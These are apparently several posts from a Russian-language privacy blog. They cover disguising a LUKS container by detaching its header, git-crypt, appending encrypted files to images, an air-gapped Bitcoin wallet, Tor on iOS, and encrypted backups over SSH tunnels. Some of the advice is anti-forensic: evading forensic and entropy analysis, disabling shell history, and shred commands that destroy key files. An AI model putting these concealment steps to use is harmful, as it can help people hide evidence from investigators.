c r y p t o p u n k s

Маскируем LUKS-контейнер под бинарный мусор

Tue, 06 Jan 2026 00:00:00 +0000

Про создание LUKS-контейнера я уже когда-то рассказывал. Тогда предлагалось «замаскировать» его под видеоклип, просто поменяв расширение файла, но это помогло бы тебе лишь при визуальном осмотре. При тщательном анализе носителей (например, криминалистическим ПО, которое сортирует файлы по магическим числам и метаданным) такой файл, напротив, привлечёт к тебе лишнее внимание.

Сегодня ты научишься отделять содержимое LUKS-раздела от его заголовка. Это позволит создать ситуацию, когда основной файл с данными выглядит как абсолютно случайный бинарный шум, не имеющий структуры.

Ещё такой метод даёт преимущество в том, что контейнер можно безопасно хранить даже на публичных файлообменниках: без файла-заголовка атакующий даже не сможет начать перебор пароля, так как для него это просто бессмысленный набор байтов.

Сразу предупрежу, что статья писалась для сверхпараноиков, поэтому если тебе ни перед кем не нужно прятать факт использования LUKS, то ряд моментов можно опустить.

Процесс создания контейнера с отдельным заголовком

Первое, с чем тебе необходимо определиться, — это размер контейнера.

Техническое замечание: Чтобы файл реально выглядел как мусор, его нужно заполнить случайными данными. Если используешь fallocate, файл будет забит нулями, и область шифрования внутри него будет легко обнаружить с помощью анализа энтропии.

Давай создадим файл размером 1Гб, заполненный случайными числами и дадим ему какое-нибудь неподозрительное название:

$ dd if=/dev/urandom of=~/temp_blob bs=1M count=1024

Далее инициализируй LUKS-контейнер, используя ключевую опцию --header (вынос заголовка в отдельный файл):

$ sudo cryptsetup luksFormat --header /tmp/head.file ~/temp_blob

Теперь расшифруй контейнер, создай на нём файловую систему и закрой его:

$ sudo cryptsetup luksOpen --header /tmp/head.file ~/temp_blob my_container
$ sudo mkfs.ext4 /dev/mapper/my_container
$ sudo cryptsetup luksClose my_container

Как это работает

head.file — это «мозги» твоего контейнера (заголовок), а temp_blob — «тело» (данные). Без заголовка данные в temp_blob превращаются для любого наблюдателя в математически неразличимый шум.

Давай посмотрим, что скажет утилита file об этих объектах:

$ file /tmp/head.file
head.file: LUKS encrypted file, ver 2, header size 16384...

$ file ~/temp_blob
temp_blob: data

А теперь обрати внимание на их размеры:

$ ls -lh /tmp/head.file
-rw------- 1 root root 16M Jan  4 18:04 head.file
$ ls -lh ~/temp_blob
-rw-r--r-- 1 user user 1.0G Jan  4 18:03 temp_blob

Как видишь, head.file занимает всего 16 мегабайт и однозначно определяется как заголовок какого-то криптоконтейнера, но какого именно — известно только тебе. Файл head.file нужно сохранить в надёжном месте и по возможности на компьютере не хранить, чтобы не привлекать лишнего внимания.

Сохрани его, например, в каком нибудь облаке, а с компьютера удали:

$ sudo shred -u /tmp/head.file

Файл temp_blob при этом выглядит как обычный бинарный файл, который не вызовет подозрений у автоматизированных систем, так как у него отсутствуют сигнатуры. Поэтому его можно хранить где угодно. Хоть на общедоступном файловом сервере у всех на виду.

Алгоритм использования

Получаешь заголовок (скачиваешь из своего защищенного источника) и кладёшь его, например, в /tmp/head.file. Открываешь контейнер:

$ sudo cryptsetup luksOpen --header /tmp/head.file ~/temp_blob my_container
$ sudo mount /dev/mapper/my_container /mnt

После работы размонтируй ФС, закрой контейнер и уничтожь заголовок:

$ sudo umount /mnt
$ sudo cryptsetup luksClose my_container
$ sudo shred -u /tmp/head.file

О чём тебе важно помнить

Следы в браузере: История загрузок может выдать факт скачивания файла заголовка. Используй wget, curl, или режим инкогнито в браузере.
История shell: Отключи сохранение истории команд у пользователя root, чтобы команды с путями к контейнеру не остались в системе.
Только ручной ввод Не используй никакие скрипты и алиасы в шеллах, чтобы упростить работу с контейнером, вводи все команды вручную.
Использование tmpfs: Крайне рекомендую тебе монтировать /tmp в оперативную память (tmpfs). В этом случае при перезагрузке заголовок исчезнет физически, даже если ты забудешь сделать shred.
SSD и shred: На современных SSD команда shred не гарантирует полного удаления данных. Хранение заголовка на USB-флешке или внутри другого зашифрованного раздела — более надежный вариант.
Swap-раздел/файл Я бы рекомендовал отключить Swap в системе, чтобы после перезагрузки из него нельзя было ничего извлечь.
Утечки данных: Помни, что ОС и софт могут создавать временные файлы или дампы памяти, содержащие данные, которые ты открывал внутри своего «невидимого» контейнера.

Шифруем данные в git-репозитории

Sat, 03 Jan 2026 00:00:00 +0000

Где хранить важную текстовую информацию, которая постоянно изменяется, чтобы была возможность откатиться назад в случае ошибки или просмотреть историю всех изменений? Ответ очевиден — в Git!

Но что делать, если обычного приватного репозитория на чужом сервере тебе недостаточно для хранения критической информации? Тут на подмогу приходит инструмент git-crypt.

git-crypt — это расширение для Git, позволяющее прозрачно шифровать файлы в репозитории с помощью GPG. С его помощью ты можешь хранить секретные данные в открытых репозиториях: на сервер файлы улетают в зашифрованном виде, в то время как локальная работа с ними остается привычной и бесшовной.

Шифровать можно как определенные файлы (например, конфиги с чувствительными данными), так и типы файлов по маске или весь репозиторий целиком.

Первичная подготовка системы

Естественно, сначала необходимо установить git-crypt на локальной машине. Инструкцию для разных систем можно найти вот тут.

В Linux установка обычно производится командами apt install git-crypt или dnf install git-crypt. В macOS инструмент ставится через Homebrew: brew install git-crypt. Также можно собрать его из исходников непосредственно из Git-репозитория проекта.

Подготовка репозитория

Сначала создаем обычный Git-репозиторий:

$ mkdir repo && cd repo
$ git init

Теперь нужно выбрать стратегию управления доступом. У git-crypt есть два основных пути: использование симметричного ключа (один файл на всех) или GPG-ключей (асимметричное шифрование). Рассмотрим оба варианта.

Вариант 1: Симметричный ключ (простой метод)

Создается единый файл-ключ (без парольной фразы), который шифрует данные.

Плюсы:

Максимально быстрая настройка.
Не нужно разбираться в инфраструктуре GPG.

Минусы:

Безопасность хранения: файл ключа сам по себе не зашифрован. Если он утечет, данные будут скомпрометированы.
Трудности масштабирования: если нужно отозвать доступ у одного человека, придется перешифровывать весь репозиторий новым ключом.

Создание и экспорт ключа

$ git-crypt init
$ git-crypt export-key secret_key 

Сохрани secret_key в надежном месте!

Вариант 2: Использование GPG (более гибкий метод)

Более безопасный подход, особенно для командной разработки. Здесь ты используешь существующие или новые GPG-пары (публичный/приватный ключ).

Плюсы:

Безопасность: твои ключи могут быть защищены парольной фразой (passphrase), также ты сам выбираешь размер и тип ключа при генерации.
Удобство: легко добавлять новых участников, просто импортируя их публичные ключи. Точно так же происходит отзыв неактуальных доступов.

Минусы:

Требует базового понимания работы GPG.

Добавление пользователя

Узнай свой USER_ID (Email или отпечаток) через gpg --list-keys и выполни:

$ git-crypt init 
$ git-crypt add-gpg-user USER_ID

После этого в репозиторий добавится твой публичный ключ, которым будут шифроваться данные. Путь будет выглядеть примерно так: .git-crypt/keys/default/0/ID_КЛЮЧА.gpg.

Настройка объектов шифрования

Теперь определимся с тем, что именно мы будем шифровать. Для этого используется файл .gitattributes.

Шифруем выборочные файлы

Создаем файл .gitattributes в корне проекта:

wp-config.php filter=git-crypt diff=git-crypt
*.env filter=git-crypt diff=git-crypt
/certs/* filter=git-crypt diff=git-crypt

После коммита будет зашифрован файл wp-config.php, все файлы с расширением .env и все файлы в директории /certs/

Шифруем все файлы в репозитории

Содержимое .gitattributes:

** filter=git-crypt diff=git-crypt
.gitattributes !filter !diff
.gitignore !filter !diff

При такой настройке абсолютно все файлы в репозитории (кроме .gitattributes и .gitignore) будут зашифрованы.

Завершение настройки

Добавляем правила в индекс и фиксируем изменения:

$ git add .gitattributes
$ git commit -m "Add git-crypt attributes"
$ git push 

Всё, теперь любые изменения в указанных файлах будут автоматически шифроваться перед отправкой на удалённый сервер.

Клонирование зашифрованного репозитория

Если понадобится развернуть окружение на новой машине, выполни следующие шаги:

$ git clone <URL> repo
$ cd repo

Файлы после клонирования будут выглядеть как бинарный мусор. Чтобы их «проявить», нужно разблокировать репозиторий.

Если использовался симметричный ключ

Скопируй ключ во временное хранилище (например, /tmp/secret_key) и выполни:

$ git-crypt unlock /tmp/secret_key

После этого не забудь уничтожить временный файл:

$ shred -u /tmp/secret_key

Если использовался GPG-ключ

Просто введи команду:

$ git-crypt unlock

Программа попросит ввести пароль (passphrase) от твоего секретного GPG-ключа.

О чем еще стоит помнить

Критический риск: Если файл симметричного ключа попадет в чужие руки, злоумышленник получит мгновенный доступ ко всем секретам, так как этот ключ не защищен паролем. В случае с GPG риск ниже: даже при краже приватного ключа взломщику все равно придется подбирать парольную фразу (passphrase).
Анонимность: GPG-ключи оставляют отпечатки, по которым можно идентифицировать владельца. Если нужна максимальная приватность, генерируй новую пару ключей специально для каждого отдельного репозитория.
Проверка: Перед тем как пушить важные данные, добавь тестовый файл и убедись, что он зашифрован. Проверь это через веб-интерфейс (GitHub/GitLab) или склонируй репозиторий в другую директорию без выполнения unlock — файлы должны читаться как бинарные.
Производительность: Если устройство слабое, а файлов очень много, процесс шифрования/расшифровки может занять время. Не торопись прерывать операции.
Бэкапы ключей: Это критично. Если ты потеряешь GPG-ключ или симметричный файл secret_key, данные в репозитории восстановить будет невозможно. Храни их в надежных менеджерах паролей, например, в KeePassXC.

Прячем секретный файл в картинку/фильм

Sat, 01 Mar 2025 00:00:00 +0000

У шифрованной информации есть несколько недостатков: тебя могут вынудить назвать пароль или ключ для её дешифровки, либо этими файлами можно привлечь внимание преступника, который каким-то образом украл эти данные, и он может пытаться расшифровать их. Но любую зашифрованную информацию можно замаскировать под что-нибудь другое.

О стеганографии

Стеганография — это метод скрытия важной информации внутри другой информации, так что наличие скрытой информации не вызывает подозрений. В отличие от шифрования, которое делает данные неразборчивыми для посторонних, стеганография маскирует сам факт существования дополнительной информации.

Например, шифрованный файл может привлечь внимание, тогда как стеганографически замаскированный файл выглядит как обычный медиафайл, и с ним можно работать как если бы в нём ничего и не было дополнительно прописано.

Сегодня я научу тебя прятать секретный файл внутри другого файла (картинки). Сделать это можно тремя командами, которые есть в любой Unix-системе (в том числе в macOS и даже Windows). Но это будет один из самых простых и примитивных способов. Стеганография — гораздо более сложная наука, и для неё существует огромное количество инструментов для ещё большей маскировки.

Немного теории

Начало файла начинается с его заголовка, который содержит метаданные. Эти метаданные описывают его тип, адреса, с которых начинаются данные, и другие характеристики. Эти характеристики многочисленны и зависят от типа файлов.

Просмотреть тип файла можно утилитой file:

$ file image.jpg
image.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=11, manufacturer=NIKON CORPORATION, model=NIKON D3100, orientation=upper-left, xresolution=180, yresolution=188, resolutionunit=2, software=Ver.1.01 , datetime=2025:01:26 16:28:02, GPS-Data], baseline, precision 8, 4608x3072, components 3

По сути, заголовок выполняет функцию, аналогичную расширению файла, но содержит более сложную и детализированную информацию, что позволяет более точно управлять данными. Если поменять расширение у файла, то его заголовок никак не изменится.

Прибегая к стеганографии, ты научишься дописывать один файл в конец другого. Таким образом, целостность сохранится, но в то же время, если знать, что в нём вшит другой файл, то его можно довольно легко извлечь.

Шифруем файл, который хотим спрятать

Первым шагом всегда необходимо зашифровать файл. Хотя это не является обязательным, настоятельно рекомендуется делать это, так как стеганография наиболее эффективна в сочетании с шифрованием.

Для шифрования можно использовать GnuPG. В большинстве случаев лучше шифровать данные с использованием публичного ключа (за исключением ситуаций, когда важна анонимность данных). Однако в этом примере я покажу, как зашифровать файл с помощью пароля:

$ gpg -c -o secret.gpg secret.txt

Введи пароль, и файл будет зашифрован и сохранён на диске под именем secret.gpg.

Маскируем шифрованный GPG файл под файл JPEG

Предположим, у тебя есть файл secret.gpg, и ты хочешь спрятать его внутри картинки image.jpg.

Первое, что необходимо сделать, — определить размеры обоих файлов и где-нибудь их записать (например, в базе KeepassXC):

$ ls -l image.jpg secret.gpg
-rw-r--r--@ 1 user  user  9880935 Feb 27 21:22 image.jpg
-rw-r--r--  1 user  user  2981978 Feb 27 22:53 secret.gpg

9880935 — это размер в байтах файла image.jpg, соответственно 2981978 — размер secret.gpg.

Теперь спрячем файл secret.gpg в конец image.jpg:

$ cat secret.gpg >>image.jpg

Открой файл image.jpg и убедись, что картинка открывается как и ранее, только её размер увеличился на размер байт файла secret.gpg:

$ ls -l image.jpg
-rw-r--r--@ 1 user  user  12862913 Feb 27 22:57 image.jpg

Считаем: 9880935 (image.jpg) + 2981978 (secret.gpg) = 12862913 байт. Всё верно.

Заодно можем повторно проверить тип файла:

$ file image.jpg
image.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=11, manufacturer=NIKON CORPORATION, model=NIKON D3100, orientation=upper-left, xresolution=180, yresolution=188, resolutionunit=2, software=Ver.1.01 , datetime=2025:01:26 16:28:02, GPS-Data], baseline, precision 8, 4608x3072, components 3

Как видишь — он не поменялся. Обязательно запусти его, убедись что открылась прежняя картинка, и что никаких ошибок не возникло.

Ещё раз важное про размер файлов

Не забывай записывать размеры файлов до их слияния, иначе восстановление файла потребует больше времени и определённых знаний.

Извлекаем из картинки зашифрованный gpg-файл

Для этого необходимо использовать утилиту dd. Это утилита для низкоуровневого копирования и преобразования данных.

Запускаем её так:

$ dd if=image.jpg of=secret_new.gpg bs=1 count=2981978 skip=9880935

Здесь count — это размер в байтах извлекаемого файла (secret.gpg), а skip (пропустить количество байт) — размер нашей картинки до её модификации.

В аргументе if указывается исходный файл, а в of — файл, который создастся после выполнения этой команды.

Давай убедимся, что новый файл создался без ошибок:

$ file secret_new.gpg
-rw-r--r--  1 user  user  2981978 Feb 27 23:04 secret_new.gpg
secret_new.gpg: PGP symmetric key encrypted data - AES with 256-bit key salted & iterated - SHA256 .

Можем еще сравнить хеш-суммы исходного файла и извлечённого из картинки:

$ md5sum secret.gpg secret_new.gpg
3c08fea9fcea5fa4de02361eb6ee1d00  secret.gpg
3c08fea9fcea5fa4de02361eb6ee1d00  secret_new.gpg

Как видишь, файлы secret.gpg и secret_new.gpg идеинтичны.

Что делать, если размер файлов был утерян

Если ты когда-то вставил один файл в конец другого и не записал их размеры, можно воспользоваться HEX-редактором.

HEX-редактор — это программа, которая позволяет просматривать и редактировать данные на уровне байтов.

В нём необходимо определить адрес начала заголовка дозаписанного файла. Обычно это можно сделать, найдя определённые сигнатуры или метаданные, характерные для этого типа файла. После того как ты определишь этот адрес, можно скопировать данные с этого места до конца файла и вставить их в новый файл.

Важное про картинки/фотографии и другой медиа-контент

Учитывай, что графические файлы со спрятанными данными нельзя загружать на сервисы, которые как-либо сжимают изображения. Также их нельзя редактировать в графических редакторах, иначе ты потеряешь свои данные.

Такое же правило действует и для любого другого медиа-контента.

Какой формат файла выбрать для маскировки?

Самое важное — всегда выбирай форматы и файлы в соответствии с объёмом файла, который хочешь спрятать, чтобы не привлекать внимание.

Например, ключ от базы keepassxc можно спрятать и в картинку. Но вот если у тебя есть шифрованный LUKS-контейнер объёмом 5 Гб, то JPEG-файл, естественно, для этого рассматривать не стоит. Попробуй дописать его в какой-нибудь фильм хорошего качества, например. Или в объёмный RAR-архив.

Учти, что не со всеми типами файлов такой трюк работает (например, с docx у меня не сработало). Файл-то всегда допишется в конец, но исходный файл может уже не открыться после этого. Некоторые форматы файлов и программы очень придирчивы к лишнему содержанию и проверяют контрольные суммы, а в случае несовпадения - выдают ошибку. А нам нужно чтобы файл открывался и не привлекал лишнего внимания. Поэтому всегда проверяй работоспособность файла после слияний.

Напоследок несколько важных моментов

Всегда перед экспериментами делай резервные копии файлов, потому что что-то может пойти не так.
Все важные файлы перед маскировкой обязательно шифруй! Особенно это актуально для файлов, которые ты собираешься публиковать в интернете (кстати, неплохая идея для бэкапов).
Дозапись файла — самый примитивный вариант стеганографии, и он довольно легко определяется специальными инструментами, поэтому если нужна хорошая защита, то имеет смысл рассмотреть какой-нибудь более сложный метод скрытия.

Создаем свой собственный холодный кошелек для Bitcoin

Fri, 07 Feb 2025 00:00:00 +0000

Холодный кошелек — это способ хранения криптовалюты, который не подключен к интернету. Это делает его более безопасным, поскольку хранящиеся в нем средства менее подвержены хакерским атакам и вирусам.

Существует два типа холодных кошельков: аппаратные и бумажные. Аппаратные кошельки — это специальные устройства, которые хранят твои ключи офлайн. Бумажные кошельки — это просто распечатанные или записанные ключи и QR-коды.

Идея использования специальных устройств для хранения криптовалюты мне не нравится, потому что, во-первых, они недешевые, во-вторых, они привлекают лишнее внимание. На мой взгляд, у нас есть все, чтобы создать такое устройство самостоятельно.

Что нам потребуется

Если у тебя есть старый и ненужный ноутбук, ты можешь установить на него любую ОС и отключить устройство от интернета (навсегда!). Например, можно не устанавливать драйверы или отключить/вытащить Wi-Fi-модуль. Главное — чтобы устройство никогда не подключалось к сети случайно.

Если лишнего компьютера нет, то есть еще один вариант — использовать флешку с Tails. Просто установи Tails и зайди в систему с отключенным интернетом (такая опция имеется в Tails).

Также нам понадобится второй компьютер (может быть, это твой основной), но подключенный к интернету. Далее я объясню, для чего все это нужно.

Условные обозначения

Чтобы было проще, далее в тексте я буду называть отключенный от интернета компьютер или флешку с Tails холодным кошельком, а компьютер, подключенный к интернету, — основным компьютером.

Подготовка системы и создание кошелька

Сейчас все действия мы будем выполнять только на холодном кошельке!

Заходим на сайт https://electrum.org/ и скачиваем приложение для нужной платформы, переносим установочный файл на холодный кошелек и выполняем установку. Кстати, в Tails он уже установлен по умолчанию.

ВАЖНО! Electrum следует скачивать исключительно с официального сайта или с репозиториев доверенного дистрибутива. Это популярный софт, и его часто подделывают, чтобы красть чужие биткоины, поэтому будь крайне осторожен.

Запускаем Electrum, вводим название кошелька, далее выбираем Standard wallet -> Create a new seed, сохраняем seed-фразу из 12 слов в надежном месте и вводим ее повторно. После этого задаем пароль и выбираем Encrypt wallet file.

Все, кошелек создан!

Небольшое отступление для тех, кто не в теме

Теперь подробнее о том, что это все значит. Seed-фраза — это то, что позволит любому человеку получить доступ к твоим сбережениям. Потеряв ее, ты потеряешь все биткоины. Поэтому к сохранению этой фразы нужно подходить серьезно. Лучше всего сохранить ее в надежном месте, например, на шифрованной флешке или в keepassxc. Важно, чтобы эту флешку не подключали к устройствам, подключенным к интернету, иначе все наши дальнейшие действия теряют смысл.

Пароль, который ты указал после создания seed-фразы, шифрует только файл твоего кошелька на компьютере. Он будет использоваться лишь для расшифровки базы данных кошелька при запуске Electrum. Для восстановления кошелька достаточно только seed-фразы, а пароль не требуется. То есть если твоя флешка или ноутбук выйдут из строя, ты сможешь восстановить кошелек только с помощью seed-фразы.

Копирование публичного ключа

На холодном кошельке нужно скопировать публичную часть ключа и перенести ее на основной компьютер с интернетом.

В Electrum выбери меню Wallet -> Information и скопируй публичный ключ из поля Master public key. Сохрани его в файл, запиши на флешку и подключи флешку к основному компьютеру.

Импорт публичного ключа

На основном компьютере устанавливаем Electrum, создаем Standard wallet, но вместо Create a new seed выбираем Use a master key и вставляем публичный ключ с флешки. Далее также задаем пароль и выбираем Encrypt wallet file. Все, необходимое окружение готово!

Все, холодный кошелек и основная система готовы к работе!

Алгоритм безопасной работы с bitcoin

Просмотр баланса и адресов

Теперь на основном компьютере ты сможешь видеть баланс своего кошелька, доступные адреса, но не сможешь проводить переводы без участия холодного кошелька. Даже если ты подхватишь вирус, который украдет кошелек, он не сможет ничего сделать, кроме как просматривать баланс, потому что секретный ключ хранится на другом, отключенном от интернета устройстве.

Получение криптовалюты

Открой на основном компьютере Electrum, зайди в кошелек и скопируй адрес из вкладки Addresses (для этого включи отображение адресов в меню View -> Addresses). Передай этот адрес человеку, который должен перевести тебе крипту.

Отправка криптовалюты

На основном компьютере

Допустим, у тебя уже есть криптовалюта на кошельке. Заходи в Send, в поле Pay to укажи адрес получателя, в Amount — необходимую сумму и нажми Pay…. Выбери комиссию за перевод и в следующем окне нажми Share и выбери Save to file. Сохрани файл на флешку и подключи ее к холодному кошельку. Это файл с транзакцией, который нужно подписать приватным ключом для дальнейшей отправки средств.

На холодном кошельке

Открой Tools -> Load transaction -> From file и выбери файл с транзакцией. Подпиши транзакцию приватным ключом, нажав Sign, введи пароль от кошелька и нажми Share -> Save to file. Сохрани его на флешку и вернись к основному компьютеру.

На основном компьютере

Кликни Tools -> Load transaction -> From file и выбери подписанный файл. Затем нажми Broadcast. Все, твоя крипта отправлена!

В заключение

Теперь ты знаешь, как создать свой собственный холодный кошелек для хранения биткойнов, обеспечив максимальную безопасность своих средств. Следуя этим простым шагам, ты сможешь значительно снизить риски и защитить свои криптовалютные активы от хакеров и других угроз. Помни, что безопасность — это ключевая составляющая работы с криптовалютой, за её сохранность ответственнен только ты.

Если тебе понравилась статья и ты хочешь поддержать мой труд, то можешь задонатить мне. Даже незначительные суммы очень мотивируют. Все средства пойдут на развитие проекта и создание новых материалов для тебя!

Пускаем весь трафик iPhone/iPad/Mac через сеть Tor

Thu, 06 Feb 2025 00:00:00 +0000

Если с Tor в MacOS почти нет никаких проблем, т.к это полноценная Unix-система, то с iOS/iPadOS дела обстоят гораздо хуже из-за серьезных ограничений системы. На айфоне нельзя даже настроить SOCKS-прокси, причем не только глобально, но даже в браузерах. Однако эти проблемы частично решаемы.

Кроме того, под iPhone/iPad существует неплохая альтернатива Tor Browser. Но обо всём по порядку.

Что такое Orbot

По сути, Orbot — это графическая оболочка для Tor, которая позволяет проксировать весь трафик устройства через сеть Tor.

Изначально он существовал только для Android, но в 2022 году незаметно появился и для iOS. Однако найти его в App Store практически невозможно. Если ввести ‘Orbot’ или ‘TorBrowser’, то в результатах поиска появится огромное количество сомнительного ПО, часто за деньги, и неясно, кто за этим стоит и можно ли доверять этим людям. Не знаю, связано ли это с тем, что Apple не хочет, чтобы находили оригинальное ПО, или с тем, что у тех, кто платит деньги, может быть нечестное ранжирование. В любом случае, мне его удалось найти только через браузер и поисковик duckduckgo.

Проект развивается некоммерческой организацией Guardian Project и является полностью опенсорсным.

Где скачать

Я не буду размещать ссылки на App Store, а лучше дам ссылку на официальный сайт, там всё это есть: https://orbot.app/

Заходишь, кликаешь на ссылку в App Store, устанавливаешь и соглашаешься со всеми условиями (на устройствах iOS он спросит, можно ли добавить VPN — да, можно). Есть версии для Mac, iPhone и iPad.

Запуск и настройка

MacOS

Запускаем Orbot и выбираем Run smart connect to find the best way, чтобы он выбрал оптимальный способ подключения к Tor. Если в твоей стране блокируется Tor и эта опция не помогла, то нажми на Choose how to Connect и попробуй поочередно каждый доступный способ.

iOS / iPadOS

Здесь всё плохо, если в твоей стране блокируется Tor. Ранее такие настройки обхода цензуры были, но их убрали из-за странной политики Apple (подробности тут). В любом случае, есть небольшой выход — OnionBrowser, но о нём немного ниже.

Если же Tor не блокируется, просто нажми Start, и весь трафик начнёт шифроваться и идти через Tor.

Советую ещё покопаться в настройках — там много интересного функционала. В том числе, можно во всех браузерах с включённым Orbot, например, блокировать все всплывающие окна, веб-сокеты, пинги и т. д. (если что, это пункт Content Blocker).

Браузер OnionBrowser, как замена Tor Browser на iOS

К сожалению, из-за определённых технических ограничений Tor Browser для iPhone/iPad на данный момент не существует (под macOS и другие платформы рекомендую использовать именно его), но та же некоммерческая организация Guardian Project выпустила опенсорсный Onion Browser как альтернативу Tor Browser.

Где скачать

Скачать его можно на официальном сайте: https://onionbrowser.com/

Там же находятся ссылки на магазин App Store.

Режимы работы и обход блокировок Tor

Onion Browser может работать как в связке с Orbot, так и самостоятельно. Если в твоей стране блокируется Tor, при запуске обязательно выбери опцию Start built-in Tor — тогда появится возможность настраивать мосты для обхода блокировок (в Orbot теперь этого функционала для iOS нет).

Если Tor тебе нужен только в этом браузере (без проксирования всего трафика с устройства), имеет смысл выбрать эту опцию и не использовать дополнительно Orbot в связке с этим браузером.

Более тонкая настройка и впечатления

К слову, браузер очень удобный, у него есть много полезных настроек и уровней безопасности. Например, можно отключить JS, запретить сохранение cookie, запретить доступ к микрофону и камере, менять user-agent. Но самое интересное — все эти настройки можно устанавливать как глобально, так и для каждого сайта отдельно!

Еще один момент, который может раздражать. При свёртывании приложения все открытые вкладки закрываются. Для того чтобы всё сохранялось надо перейти в настройки и в пункте Tab Security выбрать Remember tabs.

Кстати, в отличие от браузеров, таких как Firefox и DuckDuckGo Browser, у него очень плавная и приятная прокрутка. А также можно синхронизировать закладки через свой сервер Nextcloud. В общем, работать с ним одно удовольствие.

В заключение

В итоге, с помощью правильных инструментов и немного усилий можно существенно повысить свою безопасность и анонимность в интернете даже на iOS. Не забывай следить за актуальностью используемых решений и постоянно обновлять свои навыки защиты.

Безопасная схема бэкапов СУБД

Wed, 05 Feb 2025 00:00:00 +0000

Я много лет ломал голову над тем, как сделать бэкапы удобными и при этом безопасными. Уже давно вынашивал один вариант, но всё время что-то не устраивало в нём. И лишь недавно я открыл одну особенность у GnuPG, которая мне позволила осуществить давнюю мечту.

Кратко о схеме

Допустим, есть много серверов с базами данных и всякими другими важными файлами, которым необходимо переодически делать резервную копию.

Идея в следующем: мы создаем одну независимую VPS и даем ей доступы ко всем нашим серверам по SSH под отдельным юзером и без доступа к шеллу (нужен только форвард портов). Она копирует к себе необходимые файлы, снимает дампы, шифрует всё это нашим публичным ключиком gpg и заливает зашифрованные файлы в облако, либо в специальное хранилище.

Алгоритм сжатия Zlib

GPG, как оказалось, шифруя файлы предварительно их сжимает, по дефолту это алгоритм сжатия zlib. И процесс сжатия весьма неплох, но больше всего поражает скорость! Ранее я делал pg_dump и через pipe пускал bzip2 и только потом шифровал GPG. Но оказалось, что часть с bzip2 можно пропустить, потому что gpg прекрасно сожмет текстовый дамп ничуть не хуже bzip2, но при этом быстрее в раз 10! На слабой VPS 50-гигабайтные текстовые бэкапы сжались и зашифровались gpg менее чем за 10 минут. То есть получается это минус один бесполезный, долгий и трудозатратный шаг. А значит если инфраструктура не сильно большая, то можно обойтись дешманской VPS’кой для снятия и шифрования бекапов.

Обозначения и роли компонентов системы

Чтобы далее не запутаться давай введем обозначения:

macbook - ноутбук, на котором будет создаваться и храниться приватная часть ключа GPG
backups-vps - это машина, которая будет ходить на сервера и собирать бэкапы. На ней же будут публичные ключи GPG для шифрования дампов.
prod - пример сервера с PostgreSQL на который будет ходить наша машинка backups-vps и собирать бэкапы.

Готовим ключ GPG

Тут всё просто. Генерируем на своей личной машине пару ключей (если их еще у тебя нет, конечно):

macbook $ gpg --full-generate-key
gpg (GnuPG) 2.3.8; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (9) ECC (sign and encrypt) *default*
  (10) ECC (sign only)
  (14) Existing key from card
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 5y
Key expires at Tue Nov  9 16:15:50 2027 +04
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: Cryptopunks
Email address: meow@cryptopunks.org
Comment:
You selected this USER-ID:
    "Cryptopunks <meow@cryptopunks.org>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O

Приватному ключу обязательно задаём криптостойкий пароль!

Далее экспортируем публичную часть ключа:

macbook $ gpg --list-keys
pub   rsa4096 2022-11-10 [SC] [expires: 2027-11-09]
      09C4C85DFC551EA1C582849AD2E40C9B90FA7366
uid           [ultimate] Cryptopunks <meow@cryptopunks.org>
sub   rsa4096 2022-11-10 [E] [expires: 2027-11-09]

$ gpg --export -a 09C4C85DFC551EA1C582849AD2E40C9B90FA7366 > public.key

Подготовка VPS и серверов

Импортируем публичный ключик

Первым делом копируем с личной машины ранее сгенерированный публичный ключ на backups-vps. Далее импортируем его:

backups-vps # gpg --import public.key
gpg: key D2E40C9B90FA7366: public key "Cryptopunks <meow@cryptopunks.org>" imported
gpg: Total number processed: 1
gpg:               imported: 1

Готовим вход по ключу для ssh

Генерируем на backups-vpn RSA-ключ для входа по ssh на prod:

backups-vps # ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/var/root/.ssh/id_rsa):
Created directory '/var/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /var/root/.ssh/id_rsa
Your public key has been saved in /var/root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:FiLis7/dfh2oXpGF+sZkfhJkn2cuCh1YI8ZuFpUf74c root@MacBook-Pro-lesha.local
The key's randomart image is:
+---[RSA 3072]----+
|          ..     |
|       . ....    |
|  . . . * *..o   |
| . . . + X =...  |
|  o     S B.o.o. |
|   o   + B.+.+E .|
|  .     ..O.o... |
|   . . ..+.+..   |
|    o..o+..      |
+----[SHA256]-----+

Предположим, что нам необходимо сделать дамп с СУБД PostgreSQL на prod.

Логинимся на сервер prod, создаём отдельного пользователя backups с шеллом /bin/false, т.к. оболочка ему не нужна, мы прокинем лишь необходимые порты:

prod # adduser -s /bin/false backups

Добавляем ключ для логина с vps’ки:

prod # mkdir /home/backups/.ssh
prod # chmod 700 /home/backups/.ssh
prod # vim /home/backups/.ssh/authorized_keys (сюда пишем содержимое **id_rsa.pub** из backups-vpns)
prod # chmod 600 /home/backups/.ssh/authorized_keys
prod # chown backups:backups -R /home/backups/

Создаём SSH-туннель

Поскольку СУБД висит обычно на локалхосте (или в докер-сети, например), а не на внешнем интерфейсе - к нему нельзя обратиться напрямую, поэтому необходимо создать туннель. Для этого на backups-vps создадим скрипт /root/tunnel.sh примерно такого содержания:

#!/bin/sh

# prod postgresql
nc -z 127.0.0.1 6661

if [ $? -eq 0 ]; then
		echo 'Ok'
	else
	ssh -N -L 127.0.0.1:6661:192.168.100.28:5432 backups@prod &
fi


###
аналогичным образом прописываем другие сервера/порты
###

# prod mysql
# nc -z 127.0.0.1 6662

# if [ $? -eq 0 ]; then
#	      echo 'Ok'
#	else
#	      ssh -N -L 127.0.0.1:6662:192.168.100.22:3306 backups@prod &
# fi

